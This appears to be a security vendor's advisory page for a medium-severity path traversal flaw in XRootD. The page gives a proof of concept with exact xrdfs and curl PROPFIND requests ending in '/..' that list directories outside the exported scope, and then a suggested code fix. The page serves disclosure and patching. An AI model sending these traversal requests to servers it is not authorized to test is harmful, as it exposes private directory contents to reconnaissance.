How severe is GHSA-vj8v-p5vw-m6v5?

GHSA-vj8v-p5vw-m6v5 has a CVSS score of 5.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-vj8v-p5vw-m6v5?

GHSA-vj8v-p5vw-m6v5 affects the following packages: xrootd (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-vj8v-p5vw-m6v5?

Update xrootd to 5.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vj8v-p5vw-m6v5 is resolved across your whole dependency graph.

How do I detect GHSA-vj8v-p5vw-m6v5 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xrootd. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-vj8v-p5vw-m6v5 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-vj8v-p5vw-m6v5?

O3 pinpoints whether GHSA-vj8v-p5vw-m6v5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-vj8v-p5vw-m6v5 actively exploited in the wild?

No public exploit code has been indexed for GHSA-vj8v-p5vw-m6v5 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-vj8v-p5vw-m6v5 published, and has it been updated?

GHSA-vj8v-p5vw-m6v5 was published on April 10, 2026 and was last updated on April 10, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-vj8v-p5vw-m6v5

MEDIUM

GHSA-vj8v-p5vw-m6v5 is a medium-severity (CVSS 5.3) vulnerability in xrootd. O3 Security confirms whether GHSA-vj8v-p5vw-m6v5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

Published

Apr 10, 2026

Updated

Apr 10, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

🐍xrootd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`xrootd`	all versions	5.9.2

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xrootd. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update xrootd to 5.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vj8v-p5vw-m6v5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vj8v-p5vw-m6v5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vj8v-p5vw-m6v5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests. This bypass ignores the `all.export` restriction. ## Affected component `src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they

O3 Security · Impact-Aware SCA

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